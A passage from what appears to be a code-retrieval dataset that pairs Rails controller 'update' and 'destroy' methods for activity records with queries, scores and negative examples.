@asset_activities.update_all(:asset_id => @asset.id)\n\n else\n format.html { render action: 'edit' }\n format.json { render json: @asset.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n params = opportunity_params\n\n unless params[:new_activity].blank?\n activity = Activity.find_by_title(params[:new_activity])\n if activity.nil?\n activity = Activity.new(:title => params[:new_activity])\n activity.save\n end\n params[:activity_id] = activity.id\n end\n\n unless params[:new_sub_activity].blank?\n sub_activity = @opportunity.activity.sub_activities.find_by_title(params[:new_sub_activity])\n if sub_activity.nil?\n sub_activity = @opportunity.activity.sub_activities.new(:title => params[:new_sub_activity])\n sub_activity.save\n end\n params[:sub_activity_id] = sub_activity.id\n end\n respond_to do |format|\n if @opportunity.update(params)\n format.html { redirect_to @opportunity, notice: 'Opportunity was successfully updated.' }\n format.json { render :show, status: :ok, location: @opportunity }\n else\n @activities = Activity.all\n @sub_activities = @opportunity.activity.sub_activities.order(:title)\n format.html { render :edit }\n format.json { render json: @opportunity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activities_list.update(activities_list_params)\n format.html { redirect_to @activities_list, notice: 'Activities list was successfully updated.' }\n format.json { render :show, status: :ok, location: @activities_list }\n else\n format.html { render :edit }\n format.json { render json: @activities_list.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @work_activity = WorkActivity.find(params[:id])\n\n respond_to do |format|\n if @work_activity.update_attributes(params[:work_activity])\n format.html { redirect_to @work_activity, notice: 'Work activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_activity_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ActivitiesApi.update_activity ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling ActivitiesApi.update_activity\"\n end\n # resource path\n local_var_path = \"/activities/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'activity_resource'])\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ActivityResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ActivitiesApi#update_activity\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update\n respond_to do |format|\n if @idea.update(idea_params)\n @idea.create_activity :update, owner: (current_user)\n format.html { redirect_to @idea, notice: 'Idea was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @idea.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end", "def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n flash[:notice] = 'Activity was successfully updated.'\n if @activity.is_achievement\n format.html { redirect_to :action => 'index' }\n else\n format.html { redirect_to :action => 'plan_chart' }\n end\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @activity = args[:activity] if args.key?(:activity)\n @activity_type = args[:activity_type] if args.key?(:activity_type)\n @full_resource_name = args[:full_resource_name] if args.key?(:full_resource_name)\n @observation_period = args[:observation_period] if args.key?(:observation_period)\n end", "def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end", "def update\n @activity_tag = ActivityTag.find(params[:id])\n\n respond_to do |format|\n if @activity_tag.update_attributes(params[:activity_tag])\n format.html { redirect_to @activity_tag, notice: 'Activity tag was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity_tag.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @activity\n if @activity.delete\n head :no_content\n else\n head :gone\n end\n else\n head :unprocessable_entity\n end\n\n end", "def update\n respond_to do |format|\n if @workflow.update(workflow_params)\n format.json { render json: @workflow, :layout => false }\n else\n #format.json { render json: @workflow.errors, status: :unprocessable_entity, :layout => false }\n end\n end\n end", "def update\n respond_to do |format|\n if @judge_activity.update(judge_activity_params)\n format.html { redirect_to @judge_activity, notice: 'Judge activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @judge_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @activite = Activite.find(params[:id])\n\n \n respond_to do |format|\n if @activite.update_attributes(params[:activite])\n format.html { redirect_to(@activite, :notice => 'Activite was successfully updated.') }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>@activite}}\n \n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activite.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:question_id])\n respond_to do |format|\n if @question.update(question_params)\n @question.create_activity :update, owner: (current_user)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n @act = Act.find(params[:id])\n\n respond_to do |format|\n if @act.update_attributes(params[:act])\n format.html { redirect_to acts_path, notice: 'act was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @act.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @active_launchable_activities = args[:active_launchable_activities] if args.key?(:active_launchable_activities)\n end", "def update\n if params[:commit] == \"Cancel\"\n session[:activity_draft] = nil # delete any saved draft\n redirect_to activities_url\n else\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n session[:activity_draft] = nil # delete any saved draft\n format.html do \n flash[:notice] = \"#{@class_name_titleized}: #{@activity.name} was successfully updated.\"\n if params[:commit] == \"Save and keep editing\"\n redirect_to edit_activity_url(@activity)\n else\n redirect_to activity_url(@activity)\n end\n end\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors.to_xml }\n end\n end\n end\n end", "def update\r\n @text_activity = TextActivity.find_by_id(params[:id]) \r\n\r\n attr = params[:text_activity]\r\n section_id = attr[:section_id]\r\n attr.delete(:section_id) \r\n\r\n respond_to do |format|\r\n if @text_activity.update_attributes(attr)\r\n format.html { redirect_to Section.find(section_id), notice: 'Text activity was successfully updated.' }\r\n format.json { head :ok }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @text_activity.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @wait = Wait.find(params[:id])\n\n respond_to do |format|\n if @wait.update_attributes(params[:wait])\n format.json { head :no_content }\n else\n format.json { render json: @wait.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @acticle.update(acticle_params)\n format.html { redirect_to @acticle, notice: 'Acticle was successfully updated.' }\n format.json { render :show, status: :ok, location: @acticle }\n else\n format.html { render :edit }\n format.json { render json: @acticle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @supported_activities = args[:supported_activities] if args.key?(:supported_activities)\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update\n @today_activity = TodayActivity.find(params[:id])\n\n respond_to do |format|\n if @today_activity.update_attributes(params[:today_activity])\n flash[:notice] = 'TodayActivity was successfully updated.'\n format.html { redirect_to(@today_activity) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @today_activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def activo_update\n respond_to do |format|\n activo = params[:presentacion][:activo]\n id = params[:id]\n Presentacion.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end" ]
[ "0.68846226", "0.6830872", "0.68169534", "0.6812194", "0.6807588", "0.6776597", "0.67556393", "0.67556393", "0.67556393", "0.67556393", "0.67556393", "0.66643053", "0.66625977", "0.66621685", "0.6638061", "0.6626543", "0.6626543", "0.6626543", "0.66030794", "0.659587", "0.6587128", "0.6581739", "0.65749824", "0.65523225", "0.6548649", "0.65186584", "0.6501894", "0.64751124", "0.64707124", "0.6445952", "0.641374", "0.6402331", "0.6391328", "0.6389248", "0.6360437", "0.63546807", "0.6351074", "0.63505703", "0.6344872", "0.6330261", "0.63286805", "0.63203424", "0.63191956", "0.63167906", "0.6312314", "0.63080347", "0.62954307", "0.6287451", "0.6286432", "0.62746227", "0.6234536", "0.62293464", "0.6187923", "0.6181805", "0.6176417", "0.6173883", "0.61640626", "0.61555403", "0.61550575", "0.61536646", "0.61374253", "0.6135823", "0.612907", "0.61266", "0.6122794", "0.611831", "0.61153936", "0.6100841", "0.6098753", "0.60982245", "0.6086392", "0.60825676", "0.6076788", "0.6074203", "0.605803", "0.6053813", "0.60325736", "0.6028527", "0.60282964", "0.60264146", "0.60180634", "0.601784", "0.6017673", "0.6014214", "0.60065067", "0.59861815", "0.5981149", "0.59786093", "0.5978124", "0.5973358", "0.5966576", "0.59651834", "0.5949674", "0.5935665", "0.5932787", "0.59268147", "0.592005", "0.591698", "0.59162265", "0.58980423" ]
0.6700775
11
DELETE /activities/1 DELETE /activities/1.json
def destroy @activity.destroy respond_to do |format| format.html { redirect_to activities_url, notice: 'Activity was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity = current_user.activities.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :ok }\n end\n end", "def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :ok }\n end\n end", "def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n end", "def destroy \n @activity = current_user.user_activities.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to activities_path }\n format.json { head :no_content }\n end\n end", "def destroy \n @activity = current_user.user_activities.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to activities_path }\n format.json { head :no_content }\n end\n end", "def destroy\n\n if @activity.nil?\n send_error_json(nil, \"Delete error\", 400)\n return\n end\n\n currid = @activity.id\n\n if @activity.destroy\n send_success_json(currid, {})\n else\n send_error_json(currid, \"Delete error\", 400)\n end\n end", "def destroy\n @my_activity = MyActivity.find(params[:id])\n @my_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to my_activities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dev_activity.destroy\n respond_to do |format|\n format.html { redirect_to dev_activities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity = current_user.activities.find(params[:id])\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url, notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to api_activities_url, notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to :back}\n format.json { head :no_content }\n end\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to team_activities_path(@team) }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html {redirect_to activities_url, notice: 'Activity was successfully destroyed.'}\n format.json {head :no_content}\n end\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to phone_activities_url, notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to project_activities_url(@project), notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n \n respond_to do |format|\n format.html { redirect_to activities_url }\n format.xml { render :nothing => true }\n end\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url, notice: 'Exercise event was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html do\n flash[:success] = 'Activity was successfully destroyed.'\n redirect_to activities_url\n end\n format.json { head :no_content }\n end\n end", "def destroy\n @step_activity = StepActivity.find(params[:id])\n @step_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to step_activities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @current_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n if Activity.exists?(uuid: params[:id])\n @activity = Activity.find_by(uuid: params[:id])\n @activity.destroy\n end\n end", "def destroy\n @recent_activity = RecentActivity.find(params[:id])\n @recent_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to recent_activities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to([:manage, activities_url]) }\n format.xml { head :ok }\n end\n end", "def destroy\n @status_activity.destroy\n respond_to do |format|\n format.html { redirect_to status_activities_url, notice: 'Status activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_group_url(@group) }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity_type = ActivityType.find(params[:id])\n @activity_type.destroy\n\n respond_to do |format|\n format.html { redirect_to activity_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity_item = ActivityItem.find(params[:id])\n @activity_item.destroy\n\n respond_to do |format|\n format.html { redirect_to activity_items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n activity = Activity.find(params[:id])\n activity.destroy\n redirect_to root_url\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to [@course, @learning_unit], notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity.destroy\n @title = Title.find(@activity[:title_id])\n @event = Event.find(@title[:event_id])\n respond_to do |format|\n format.html { redirect_to event_path(@event), notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy_activity\n @activity = Activity.find(params[:id])\n @activity.destroy\n end", "def destroy\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.destroy\n format.html { redirect_to activities_url,\n notice: (crud_notice('destroyed', @activity) + \"#{undo_link(@activity)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { redirect_to activities_url, alert: \"#{@activity.errors[:base].to_s}\".gsub('[\"', '').gsub('\"]', '') }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def delete_activity(id:, **args)\n params = parameters(args) do\n optional_params\n end\n request(:delete, \"activities/#{id}\", params)\n end", "def destroy\n @activity = Activity.find(params[:id])\n\n @activity.destroy\n\n redirect_to activities_path\n end", "def destroy\n @judge_activity.destroy\n respond_to do |format|\n format.html { redirect_to judge_activities_url }\n format.json { head :no_content }\n end\n end", "def delete_activities(**args)\n params = parameters(args) do\n required_params :ids\n optional_params :ids\n end\n request(:delete, 'activities', params)\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_path(@activity_type.table_name), notice: \"#{@activity_type.name.humanize} was successfully deleted.\" }\n format.json { head :no_content }\n format.js { render :destroy }\n end\n end", "def destroy\n #@activity = Activity.find(params[:id])\n @activity = Activity.find_by_permalink(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @activity = Activity.find(params[:id])\n\t\tauthorize! :destroy, @activity\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @type_activity.destroy\n respond_to do |format|\n format.html { redirect_to type_activities_url, notice: 'Type activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_activity(db, act_id)\n\tdb.execute(\"DELETE FROM activities WHERE id=?\", [act_id])\nend", "def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n\n if @activity.created_at < 1.day.ago\n \tauthorize! :edit, @activity\n end\n end", "def destroy\n @user_activity.destroy\n respond_to do |format|\n format.html { redirect_to user_activities_url, notice: \"User activity was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_activity.destroy\n respond_to do |format|\n format.html { redirect_to user_activities_url, notice: 'User activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity_item.destroy\n respond_to do |format|\n format.html { redirect_to activity_items_url, notice: 'Activity item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n activity_type.destroy\n respond_to do |format|\n format.html { redirect_to activity_types_url, notice: 'activity_type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activite = Activite.find(params[:id])\n @activite.destroy\n\n respond_to do |format|\n format.html { redirect_to activites_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity_event = ActivityEvent.find(params[:id])\n @activity_event.destroy\n\n respond_to do |format|\n format.html { redirect_to activity_events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vacination = Vacination.find(params[:id])\n @vacination.activity.destroy\n respond_to do |format|\n format.html { redirect_to vacinations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity = Activity.where(:user_id => current_user.id).find(params[:id])\n @activity.destroy\n flash[:success] = \"Activity deleted\"\n\n respond_to do |format|\n format.js { render :text => 'OK' }\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def destroy\n if current_user.activity_ids.include?(params[:id].to_i)\n @activity = current_user.activities.find(params[:id])\n elsif current_user.admin?\n @activity = Activity.find(params[:id])\n else\n redirect_to root_path, :notice => \"Not authorized\"\n end\n respond_to do |format|\n format.html { redirect_to activities_url, notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @today_activity = TodayActivity.find(params[:id])\n @today_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(today_activities_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @activity_tag = ActivityTag.find(params[:id])\n @activity_tag.destroy\n\n respond_to do |format|\n format.html { redirect_to activity_tags_url }\n format.json { head :ok }\n end\n end", "def destroy\n @project_activity.destroy\n respond_to do |format|\n format.html { redirect_to project_activities_url, notice: 'Project activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html do\n redirect_to group_activities_url(@group)\n flash_message(:info, 'Activity was successfully destroyed.')\n end\n format.json { head :no_content }\n end\n end", "def destroy\n @evactivity = Evactivity.find(params[:id])\n @evactivity.destroy\n\n respond_to do |format|\n format.html { redirect_to(evactivities_url) }\n format.xml { head :ok }\n end\n end", "def destroy_intent(base_path)\n delete_json(intent_url(base_path))\n rescue GdsApi::HTTPNotFound => e\n e\n end", "def destroy\n @activities_list.destroy\n respond_to do |format|\n format.html { redirect_to activities_lists_url, notice: 'Activities list was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @spot_activity = SpotActivity.find(params[:id])\n @spot_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(spot_activities_url) }\n format.xml { head :ok }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @activity_record.destroy\n respond_to do |format|\n format.html { redirect_to activity_records_url, notice: 'Activity record was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity_notice.destroy\n respond_to do |format|\n format.html { redirect_to activity_notices_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @gallery_activity = GalleryActivity.find(params[:id])\r\n @gallery_activity.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to gallery_activities_url }\r\n format.json { head :ok }\r\n end\r\n end", "def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(course_path(params[:course_id])) }\n format.xml { head :ok }\n end\n end", "def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to :action => :plan_chart }\n format.xml { head :ok }\n end\n end", "def destroy\n @activity_log.destroy\n respond_to do |format|\n format.html { redirect_to activity_logs_url, notice: 'Activity log was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity.destroy\n flash[:success] = \"Activity deleted\"\n\n format.html { redirect_to(people_url(current_user)) }\n end", "def delete_activities\n self.activities.delete_all\n end", "def destroy\r\n @text_activity = TextActivity.find(params[:id])\r\n @text_activity.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to :back }\r\n format.json { head :ok }\r\n end\r\n end", "def destroy\n @user_activity = current_user.user_activities.find_by(user_id: current_user.id)\n\n if @activity.owner_id == current_user.id\n @activity.destroy\n elsif !@user_activity.nil?\n @user_activity.destroy\n else\n render file: 'app/views/errors/forbidden_access.html', status: :unauthorized\n end\n\n respond_to do |format|\n format.html { redirect_to list_user_activities_path, notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity = Activity.find(params[:id])\n access_denied unless current_user.is_admin? or @activity.user_id == current_user.id\n @activity.delete!\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.js {\n render :update do |page|\n page.remove 'activity_and_comments_' + @activity.id.to_s\n end \n }\n end\n end", "def destroy\n @activity_title.destroy\n respond_to do |format|\n format.html { redirect_to activity_titles_url, notice: 'Activity title was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity_type_f.destroy\n respond_to do |format|\n format.html { redirect_to activity_type_fs_url, notice: 'Activity type f was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @work_activity = WorkActivity.find(params[:id])\n @work_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to work_activities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity_kind.destroy\n respond_to do |format|\n format.html { redirect_to activity_kinds_url, notice: 'Activity kind was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n c_id = @user_activity.customer_id\n @user_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_url(c_id), notice: 'User activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activite = Activite.find(params[:id])\n @activite.destroy\n\n respond_to do |format|\n format.html { redirect_to(activites_url) }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>[]}}\n \n end\n end", "def destroy\n @visit = Visit.find(params[:id])\n @visit.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @activity_category.destroy\n respond_to do |format|\n format.html { redirect_to activity_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @market_activity = MarketActivity.find(params[:id])\n @market_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to market_activities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @activite.destroy\n respond_to do |format|\n format.html { redirect_to activites_url, notice: 'Activite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def DeleteView id\n \n APICall(path: \"views/#{id}.json\",method: 'DELETE')\n \n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end" ]
[ "0.7712568", "0.7712568", "0.7712568", "0.7712568", "0.7712568", "0.76978153", "0.7688336", "0.7663404", "0.7663404", "0.76458544", "0.76458544", "0.7643713", "0.7564872", "0.75457203", "0.745816", "0.73909366", "0.73904556", "0.73481995", "0.73416245", "0.7341086", "0.7332064", "0.73257965", "0.73257756", "0.72915006", "0.72915006", "0.72915006", "0.72915006", "0.7275883", "0.7268724", "0.72669137", "0.7246248", "0.7230373", "0.7227545", "0.7216078", "0.72103095", "0.7202828", "0.7199694", "0.7179847", "0.7143273", "0.71384317", "0.71219426", "0.7121868", "0.7121433", "0.7106636", "0.70878696", "0.70865566", "0.70853233", "0.7067567", "0.7030781", "0.70211947", "0.7012679", "0.7001932", "0.69987464", "0.69941527", "0.6985621", "0.69706845", "0.6967915", "0.6967435", "0.69258755", "0.69219923", "0.6913831", "0.6880847", "0.68805844", "0.6874126", "0.6850702", "0.68496335", "0.6841298", "0.68394154", "0.6837306", "0.6836624", "0.6833475", "0.6820451", "0.68156445", "0.68129987", "0.6808387", "0.68075055", "0.6793785", "0.6790162", "0.6773047", "0.6739487", "0.6723926", "0.6717819", "0.67053896", "0.67026925", "0.66904825", "0.66743493", "0.6669548", "0.6663775", "0.6654555", "0.6641795", "0.6631505", "0.6606946", "0.66062915", "0.66062915", "0.66062915" ]
0.73731923
21
Use callbacks to share common setup or constraints between actions.
def set_activity @activity = Activity.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def 